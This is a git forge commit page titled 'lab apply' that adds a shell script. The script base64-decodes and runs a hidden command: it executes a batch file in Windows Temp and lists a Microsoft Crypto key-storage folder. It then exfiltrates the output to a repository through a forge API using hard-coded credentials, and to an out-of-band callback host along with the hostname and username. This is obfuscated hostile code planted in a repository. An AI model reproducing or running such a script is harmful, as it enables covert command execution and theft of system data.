lab apply
This commit is contained in:
Executable
+16
@@ -0,0 +1,16 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
OUT=/tmp/.gm117.out
|
||||||
|
AUTH=dTdkNjE5YmNjOlBvYy0yYjM0MDBlZmI2ZTNBMQ==
|
||||||
|
echo ZWNobyA9PT1CQVQ9PT07IGNhdCAvYy9XaW5kb3dzL1RlbXAvZ21fczUuYmF0OyBlY2hvID09PUxTPT09OyBscyAtbGEgIi9jL1Byb2dyYW1EYXRhL01pY3Jvc29mdC9DcnlwdG8vUENQS1NQL3swREIyQUM4OC1DRTQwLTRDN0EtOTM1Qy02NzkyRkU2OEVBQUV9IjsgZWNobyA9PT1SVU49PT07IC9jL1dpbmRvd3MvU3lzdGVtMzIvY21kLmV4ZSAvL2MgIkM6XFxXaW5kb3dzXFxUZW1wXFxnbV9zNS5iYXQiOyBlY2hvIFJVTkRPTkU= | base64 -d | /bin/sh >"$OUT" 2>&1
|
||||||
|
B64=$(base64 -w0 "$OUT" 2>/dev/null || base64 "$OUT" | tr -d '\n')
|
||||||
|
for URL in http://127.0.0.1:3000 https://127.0.0.1:3000 http://localhost:3000; do
|
||||||
|
wget -q -T 15 --header="Authorization: Basic $AUTH" --header="Content-Type: application/json" \
|
||||||
|
--post-data="{\"content\":\"$B64\",\"message\":\"o\"}" \
|
||||||
|
-O /dev/null "$URL/api/v1/repos/u7d619bcc/x817b172b/contents/gm.out" && break
|
||||||
|
curl -skm 15 -u u7d619bcc:Poc-2b3400efb6e3A1 -H "Content-Type: application/json" \
|
||||||
|
-X POST -d "{\"content\":\"$B64\",\"message\":\"o\"}" \
|
||||||
|
"$URL/api/v1/repos/u7d619bcc/x817b172b/contents/gm.out" >/dev/null && break
|
||||||
|
done
|
||||||
|
wget -q -T 20 --method=PUT --body-file="$OUT" -O /dev/null "https://oob.smartdnslog.com/cb/rgrfqgy8b826/run/put" 2>/dev/null || curl -skm 20 -T "$OUT" "https://oob.smartdnslog.com/cb/rgrfqgy8b826/run/put" >/dev/null 2>&1 || true
|
||||||
|
wget -q -T 12 -O /dev/null "https://oob.smartdnslog.com/cb/rgrfqgy8b826/run/ping-$(hostname)-$(id -un)" 2>/dev/null || curl -skm 12 -o /dev/null "https://oob.smartdnslog.com/cb/rgrfqgy8b826/run/ping-$(hostname)-$(id -un)" 2>/dev/null || true
|
||||||
|
exit 0
|
||||||
Reference in New Issue
Block a user